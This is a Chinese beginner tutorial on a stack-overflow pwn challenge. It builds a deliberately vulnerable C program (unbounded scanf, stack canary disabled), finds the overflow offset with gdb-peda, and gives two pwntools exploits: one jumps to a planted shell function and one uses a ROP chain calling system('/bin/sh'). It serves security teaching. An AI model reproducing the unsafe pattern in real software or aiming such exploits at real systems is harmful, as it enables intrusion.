pwn初入门(一)

  • Comments Off on pwn初入门(一)
  • 19 views
  • A+

缓缓而行,步步攀登

一、内容前要

本节内容将为大家带来:一道入门级别的栈溢出pwn题环境搭建

二、准备阶段

代码准备

pwn1.c

```cpp

include

include

int main()
{
char buf[80];
printf("input your key:\n");
scanf("%s",buf);
printf("%s",buf);
return 0;
}

void shell()
{
system("/bin/sh");
}
```

编译准备

bash
gcc -fno-stack-protector pwn1.c -o pwn1 #关闭Canary保护

在线环境准备

bash
git clone https://gitee.com/swh1te/ctf.git
cd ./ctf/pwn1/
docker-compose up -d

环境搭建成功后,会将docker中的应用端口转发到本机的20001端口,可自行通过docker-compose.xml更改

wKg0C2EM4AKAVNvOAAA6RRTwTpc868.png

三、分析阶段

基础信息查看

64位程序,没有开栈溢出保护,程序里存在system函数,也存在/bin/sh字符串

```bash
[email protected]:~/ctf/easy# file pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0a4f59a9a0adb8f5efd0b1fe83e1caee7b784148, not stripped

[email protected]:~/ctf/easy# checksec pwn1
[*] '/root/ctf/easy/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

[email protected]:~/ctf/easy# strings pwn1|grep sh
/bin/sh
shell
.shstrtab
.gnu.hash

[email protected]:~/ctf/easy# objdump -d pwn1|grep system
\00000000004004e0 system@plt:
400674:e8 67 fe ff ff callq 4004e0 system@plt
```

gdb调试

通过peda的pattern_offset功能找到栈溢出的填充长度

```bash
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/ctf/easy/pwn1
input your key:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fffff37
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x0
RDI: 0x7ffff7dd2620 --> 0xfbad2a84
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffe4f8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x40066a (:ret)
R8 : 0x0
R9 : 0xc8
R10: 0xc8
R11: 0x7fffffffe4a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
R12: 0x400530 (<_start>:xor ebp,ebp)
R13: 0x7fffffffe5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40065f :call 0x4004f0 printf@plt
0x400664 :mov eax,0x0
0x400669 :leave

=> 0x40066a :ret

0x40066b :push rbp
0x40066c :mov rbp,rsp
0x40066f :mov edi,0x400717
0x400674 :call 0x4004e0 system@plt
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4f8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffe500 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffe510 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffe518 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffe520 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffe528 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffe530 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040066a in main ()
gdb-peda$ x/gx $rsp
0x7fffffffe4f8:0x41416741414b4141
gdb-peda$ pattern_offset 0x41416741414b4141
4702153015917494593 found at offset: 88
```

四、POC撰写

以下POC均在python2环境下,采用pwntools进行撰写

解法一:call shell

shell_addr

程序预先预留了一个shell函数,会自动调用system("/bin/sh"); 我们找到shell的地址,栈溢出后将程序跳转地址覆盖成shell函数的地址即可

bash
[email protected]:~/ctf/easy# objdump -d pwn1|grep shell
000000000040066b <shell>:

poc1.py

```python
from pwn import *

p = process("pwn1")
pad = 88
shell_addr = 0x040066b
payload = b'a'*pad + p64(shell_addr)
p.send(payload)
p.interactive()
```

解法二:ROP

ROPgadget

x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,我们通过ROPgadget找到一个可以控制rdi参数值的gadget,先将/bin/sh压栈,然后ret,这样system函数执行的参数就是/bin/sh

bash
[email protected]:~/ctf/easy# ROPgadget --binary pwn1 --only "pop|ret"|grep rdi
0x00000000004006e3 : pop rdi ; ret

poc2.py

``````python
from pwn import *

p = process("pwn1")
e = ELF("pwn1")
pad = 88
pop_rdi_addr = 0x00000000004006e3
system_addr = e.symbols['system']
binsh_addr = e.search('/bin/sh').next()
payload = b'a'*pad + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()
``````

五、参考资料

  1. 使用docker搭建pwn题靶机
  2. Dockerfile文件详解
  3. docker-compose生成的容器立刻退出,exited with code 0